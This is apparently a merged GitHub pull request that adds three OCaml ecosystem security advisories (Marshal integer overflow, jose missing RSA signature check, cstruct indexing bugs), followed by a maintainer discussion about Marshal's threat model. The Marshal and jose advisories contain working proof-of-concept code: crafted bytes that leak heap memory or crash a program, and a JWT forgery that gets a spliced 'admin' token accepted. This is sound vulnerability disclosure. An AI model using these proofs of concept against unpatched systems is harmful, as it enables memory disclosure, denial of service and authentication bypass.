Repository navigation
three more advisories #40
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,128 @@ | ||
| ``` | ||
| id: OSEC-2026-18 | ||
| modified: "2026-09-10T10:00:00Z" | ||
| published: "2026-09-10T10:00:00Z" | ||
| severity: "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N" | ||
| severity_score: "6.8" | ||
| affected: "ocaml" {< "5.5.1"} | ||
| events: [ | ||
| [ | ||
| git "https://github.com/ocaml/ocaml" [ | ||
| [fixed "928e7c8a950db8730e8e84105d3be347cae38f5c"] | ||
| ] | ||
| ] | ||
| [ | ||
| git "https://github.com/ocaml/ocaml" [ | ||
| [fixed "304654884d0c90b2e4ab673ff88caef38b05c714"] | ||
| ] | ||
| ] | ||
| [ | ||
| git "https://github.com/ocaml/ocaml" [ | ||
| [fixed "428288660cc1f655605347e09e2fbc0b0a404660"] | ||
| ] | ||
| ] | ||
| ] | ||
| credits: [ | ||
| [reporter "Akshay M Singh"] | ||
| [remediation_developer "Xavier Leroy"] | ||
| [remediation_reviewer "Nicolás Ojeda Bär"] | ||
| [remediation_reviewer "Antonin Décimo"] | ||
| [coordinator "Hannes Mehnert"] | ||
| ] | ||
| cwe: [ CWE-190 CWE-125 ] | ||
| aliases: [ CVE-2026-28364 ] | ||
| references: [ | ||
| [fix "https://github.com/ocaml/ocaml/pull/15019"] | ||
| [fix "https://github.com/ocaml/ocaml/pull/15030"] | ||
| ] | ||
| related: [ OSEC-2026-01 ] | ||
| ``` | ||
|
|
||
| # Marshal integer overflow leads to out-of-heap read | ||
|
|
||
| An integer overflow in the length-validation logic of OCaml's Marshal deserializer allows a crafted serialized object to bypass all bounds checks added by the CVE-2026-28364 fix, producing **heap out-of-bounds reads** from `Marshal.from_bytes` / `Marshal.from_string` (and the C API `caml_input_value_from_block`). | ||
|
|
||
| ## Root cause | ||
|
|
||
| `runtime/intern.c` validates declared data length against the input buffer with unsigned 64-bit addition that can wrap: | ||
|
|
||
| ```c | ||
| /* caml_input_val_from_bytes, intern.c:1038 */ | ||
| if (ofs + h.header_len + h.data_len > caml_string_length(str)) | ||
| caml_failwith("input_val_from_string: bad length"); | ||
| ``` | ||
|
|
||
| `h.data_len` is fully attacker-controlled (8-byte field read straight from the stream for `Intext_magic_number_big`). With `data_len >= 2^64 - (ofs + h.header_len)`, the sum wraps to a small value and the check passes. | ||
|
|
||
| The CVE-2026-28364 fix introduced: | ||
|
|
||
| ```c | ||
| /* intern.c:1043 (added by the fix) */ | ||
| s->intern_src_end = s->intern_src + h.data_len; /* wraps to a pointer BEFORE the buffer */ | ||
| ``` | ||
|
|
||
| `intern_src_end` wraps to a location *before* `intern_src`, so every `intern_check_read()` bound added by the fix (`len > end - src` with a negative diff promoted to a huge `uintnat`) evaluates **false** for any realistic length. The parser (`intern_rec`) then honors attacker-controlled read lengths (`readblock` up to `Max_wosize` bytes) against memory far beyond the input buffer. | ||
|
|
||
| The OCaml-side wrapper validation in `stdlib/marshal.ml` is bypassed by the same wrap, via `caml_marshal_data_size` (intern.c:1116-1150): | ||
|
|
||
| ```c | ||
| return Val_long((header_len - 16) + data_len); /* wraps to 0 / negative */ | ||
| ``` | ||
|
|
||
| `Marshal.from_bytes` (marshal.ml:55-62) calls `data_size_unsafe` first, gets a wrapped `len` (0 or negative), and its re-check `ofs > Bytes.length buff - (header_size + len)` passes. | ||
|
|
||
| The same unchecked wrap exists in `caml_input_value_from_buffer` (intern.c:1080), used by the public C API `caml_input_value_from_block` and `caml_input_value_from_malloc` - these have no OCaml-side validation at all. | ||
|
|
||
| ## Exploit path | ||
|
|
||
| 1. Craft 32-byte header: `Intext_magic_number_big` + 4 padding bytes + `data_len = 2^64 - 16` + `num_objects = 0` + `whsize = 0`. | ||
| 2. Append a valid object code byte stream (e.g., a "small string" code `0x3F` = 31 bytes, or `CODE_STRING32` with an arbitrary length). | ||
| 3. Call `Marshal.from_bytes buf 0` (or `Marshal.from_string`). | ||
| 4. `data_size_unsafe` returns 0; OCaml-side check passes. | ||
| 5. C-side check `0 + 32 + (2^64-16) = 16 > len` passes (wrapped). | ||
| 6. `intern_src_end` wraps to `buf + 16`; all `intern_check_read` pass. | ||
| 7. `intern_rec` executes `readblock(s, dest, len)` with attacker-chosen `len`, `memcpy`-ing heap memory past the buffer end into the returned string (info leak), or a huge `len` (SIGBUS/SIGSEGV, DoS). | ||
|
|
||
| ## Proof of concept | ||
|
|
||
| Tested on: macOS arm64, OCaml 5.5.0 (Homebrew), `ocamlopt`. | ||
|
|
||
| ### 1. Heap information disclosure (clean, no crash) | ||
|
|
||
| ```ocaml | ||
| let () = | ||
| let buf = Bytes.create 40 in | ||
| Bytes.set buf 0 (Char.chr 0x84); Bytes.set buf 1 (Char.chr 0x95); | ||
| Bytes.set buf 2 (Char.chr 0xa6); Bytes.set buf 3 (Char.chr 0xbf); | ||
| for i = 4 to 7 do Bytes.set buf i '\000' done; | ||
| for i = 8 to 15 do Bytes.set buf i '\xff' done; | ||
| Bytes.set buf 15 (Char.chr 0xf0); (* data_len = 2^64 - 16 *) | ||
| for i = 16 to 31 do Bytes.set buf i '\000' done; (* num_objects = whsize = 0 *) | ||
| Bytes.set buf 32 (Char.chr 0x3f); (* small string, len 31 *) | ||
| for i = 33 to 39 do Bytes.set buf i 'A' done; (* only 7 real bytes follow *) | ||
| let s : string = Marshal.from_bytes buf 0 in | ||
| Printf.printf "len=%d content=%S\n" (String.length s) s | ||
| ``` | ||
|
|
||
| Output (24 bytes past the 40-byte buffer leaked into the returned string): | ||
|
|
||
| ``` | ||
| len=31 content="AAAAAAA\000\000\000\000\000\000\007\000\b\000\000\000\000\000\000\152\018\001\003\001\000\000\000" | ||
| ``` | ||
|
|
||
| ### 2. Denial of service (crash) | ||
|
|
||
| Same header; stream byte 32 = `0x0A` (`CODE_STRING32`), big-endian `0x40000000` (1 GB) length, 37-byte buffer: | ||
|
|
||
| ``` | ||
| $ ./crash; echo "exit=$?" | ||
| exit=138 (128 + SIGBUS) | ||
| ``` | ||
|
|
||
| ## Timeline | ||
|
|
||
| - 2026-08-15: report to security@ocaml.org | ||
| - 2026-08-25: patch developed | ||
| - 2026-09-03: patch merged into trunk, 5.5, and 4.14 branches | ||
| - 2026-09-05: release of OCaml 5.5.1 | ||
| - 2026-09-10: advisory published | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,78 @@ | ||
| ``` | ||
| id: OSEC-2026-19 | ||
| modified: "2026-09-10T10:00:00Z" | ||
| published: "2026-09-10T10:00:00Z" | ||
| severity: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N" | ||
| severity_score: "9.1 (Critical)" | ||
| affected: "jose" {< "0.11.0"} | ||
| events: [ | ||
| [ | ||
| git "https://github.com/ulrikstrid/ocaml-jose" [ | ||
| [fixed "cf17d991ec6a0d1997956b6c7799890f9c28879e"] | ||
| ] | ||
| ] | ||
| ] | ||
| credits: [ | ||
| [reporter "Sergey Zhukaev"] | ||
| [coordinator "Hannes Mehnert"] | ||
| [coordinator "Konstantin Olkhovskiy"] | ||
| [remediation_developer "Ulrik Strid"] | ||
| ] | ||
| cwe: [ CWE-347 ] | ||
| ``` | ||
|
|
||
| # JOSE: missing RSA signature verification | ||
|
|
||
| The opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key. | ||
|
|
||
| ## Reproduction | ||
|
|
||
| With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature: | ||
|
|
||
| ```OCaml | ||
| let () = Mirage_crypto_rng_unix.use_default () | ||
|
|
||
| let key = | ||
| Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ()) | ||
|
|
||
| let sign sub = | ||
| Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ]) | ||
| |> Result.get_ok |> Jose.Jwt.to<http://jose.jwt.to/>_string | ||
|
|
||
| let seg n token = List.nth (String.split_on_char '.' token) n | ||
|
|
||
| let alice = sign "alice" and admin = sign "admin" | ||
|
|
||
| (* alice's header and signature, admin's payload *) | ||
| let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ] | ||
|
|
||
| match | ||
| Jose.Jwt.unsafe_of_string forged | ||
| |> Result.get_ok | ||
| |> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ()) | ||
| with | ||
| | Ok t -> | ||
| print_endline | ||
| ("accepted, sub = " ^ Option.get (Jose.Jwt.get_string_claim t "sub")) | ||
| | Error _ -> print_endline "rejected" | ||
| ``` | ||
|
|
||
| The dune file: | ||
| ``` | ||
| (executable (name repro) | ||
| (libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os)) | ||
| ``` | ||
|
|
||
| This prints "accepted, sub = admin". | ||
|
|
||
| ## Workaround | ||
|
|
||
| There is no workaround known. | ||
|
|
||
| ## Timeline | ||
|
|
||
| - 2026-08-25: private report via email to the authors of jose | ||
| - 2026-08-25: fix published to repository | ||
| - 2026-08-31: mail escalated to security@ocaml.org | ||
| - 2026-09-04: released jose 0.11.0 | ||
| - 2026-09-10: published advisory |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,56 @@ | ||
| ``` | ||
| id: OSEC-2026-20 | ||
| modified: "2026-09-10T10:00:00Z" | ||
| published: "2026-09-10T10:00:00Z" | ||
| severity: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L" | ||
| severity_score: "7.3 (High)" | ||
| affected: "cstruct" {< "6.3.0"} | ||
| events: [ | ||
| [ | ||
| git "https://github.com/mirage/ocaml-cstruct" [ | ||
| [fixed "936f1010d3e9914da9c5c8a4739e9278a37e1c3e"] | ||
| ] | ||
| ] | ||
| ] | ||
| credits: [ | ||
| [reporter "Anil Madhavapeddy"] | ||
| [remediation_reviewer "Thomas Gazagnaire"] | ||
| [remediation_developer "Anil Madhavapeddy"] | ||
| ] | ||
| references: [ | ||
| [fix "https://github.com/mirage/ocaml-cstruct/pull/324"] | ||
| ] | ||
| cwe: [ CWE-682 ] | ||
| affected_bindings: [ "Cstruct.filter_map" "Cstruct.tail" "Cstruct.cuts" "Cstruct.find" "Cstruct.find_rev" ] | ||
| ``` | ||
|
|
||
| # Cstruct indexing bugs can corrupt filtered output and reverse parsing results | ||
|
|
||
| The security advisory information in that issue is uptodate, and I've just opened cstruct.6.3.0 on the opam-repo with the fixes. Do let me know if I need to do anything else to inform an advisory beyond what I put into the GH issue. I can wait for a CVE, or announce the fix on Discuss first, as you prefer. | ||
|
|
||
| ## Impact | ||
|
|
||
| - `Cstruct.filter_map` writes retained bytes at their original input positions, producing corrupted output when earlier bytes are dropped. | ||
| - `Cstruct.tail ~rev:true` removes two bytes instead of one and raises an exception for single-byte views. | ||
| - `Cstruct.cuts ~rev:true` may compare input against the wrong data, split at incorrect positions, and construct results using offsets outside the requested view. | ||
| - `Cstruct.find` and `Cstruct.find_sub ~rev:true` may return slices from the wrong location when operating on non-zero-offset views. | ||
|
|
||
| These are a set of logical indexing and bounds-calculation errors (CWE-682), and not direct memory-safety vulnerabilities. However, affected operations may return corrupted data, raise an unexpected exception, split input incorrectly, or return bytes outside the requested Cstruct view but still within its backing buffer. | ||
|
|
||
| In security-sensitive parsers, this could cause validation bypasses, denial of service, or unintended disclosure of adjacent buffer contents. | ||
|
|
||
| ## Workarounds | ||
|
|
||
| Users unable to upgrade cstruct should backport the corresponding source changes. There is no configuration-based mitigation since these are buggy library calls. | ||
|
|
||
| ## References | ||
|
|
||
| Discovered via [Scrutineer](https://github.com/alpha-omega-security/scrutineer) and Deepseek GLM-5.3 Flash running locally. | ||
|
|
||
| ## Timeline | ||
|
|
||
| - 2026-09-04: reported via GitHub to ocaml/security-advisories repository | ||
| - 2026-09-05: reported via email to security@ocaml.org | ||
| - 2026-09-05: patch proposed and reviewed | ||
| - 2026-09-05: release cstruct 6.3.0 | ||
| - 2026-09-10: published advisory |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
was this really worth a formal security advisory? To exploit this you'd have to use marshal (unsafe) and have access to marshalled data (if that's the case you've already been pwnd by something else beforehand).
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Indeed, similar to OSEC-2026-01, an application using Marshal on untrusted data is vulnerable.
When we discussed OSEC-2026-01, our approach for Marshal is that it should be memory-safe. The issue discovered here is an integer overflow leading to a out-of-heap read. So, we thought better to issue an advisory so that people are getting aware of this issue and update their systems.
Indeed, the question is what is the security boundary / threat model. And as explained above, for Marshal we have had a discussion. If you Marshal untrusted data, you may end up with type unsafe data, but you should keep memory safety.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
So does this mean that every memory safety issue is automatically a security issue regardless of exploitatability? If so that changes my mental model of what a security issue is
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'm not sure what you mean with "regardless of exploitability"?
From the advisory:
So, when your application accepts any untrusted input and calls Marshal.from_bytes on it, there is a heap disclosure, or a crash.
What are your semantics of "exploitable"? Remote code execution only?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
no, i meant more like "exploitable (as long as the user of the feature doesn't do anything stupid)"
To me this precisely falls into the "as long as the user of the feature doesn't do anything stupid" asterisk.
To me this feels a bit like if someone said "your software has a bug. You see, i gave root access to my machine to some random guy and now i have malware, but it's your fault!"
If the feature is misused in that way, then it should be a security advisory on the user's code, rather than in the compiler, in my opinion.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I agree that is a tricky distinction, and would appreciate if we'd only have to handle security advisories for applications. Now, since in ocaml/opam there are lots of libraries, we have to deal with security issues in there.
"As long as the user of the feature doesn't do anything stupid" - that's a great definition of exploitable, but unfortunately the "anything stupid" is a very subjective wording - and there may be some code that falls under it, while some other code doesn't -- depending on the person evaluating.
The security team takes a decision on when to issue advisories. An advisory is always there to help users and developers to detect potential issues and improve their code. It is of course a fact that in the OCaml/opam ecosystem a lot of libraries are developed and released, and just by using such a library, you won't necessarily have an exploit in your application.
Take a look at OSEC-2026-16, there are millions of usages of cohttp which won't be affected. There are others which are affected -- depending on whether you use the vulnerable function or not. Going from a security advisory for an OCaml library to evaluation whether your application is vulnerable is manual work (let me know if there's a way to do so automatically). The easy path is to update the dependency if it has a known vulnerability.
With respect to Marshal, until 2022 the widely used "unison" file synchronization tool used Marshal over the network. So, there may be other applications out there using that. I'm not aware of such an application (that listens on the network (or locally) for marshalled data).
I hope this makes sense, please let us know if you have further questions or remarks.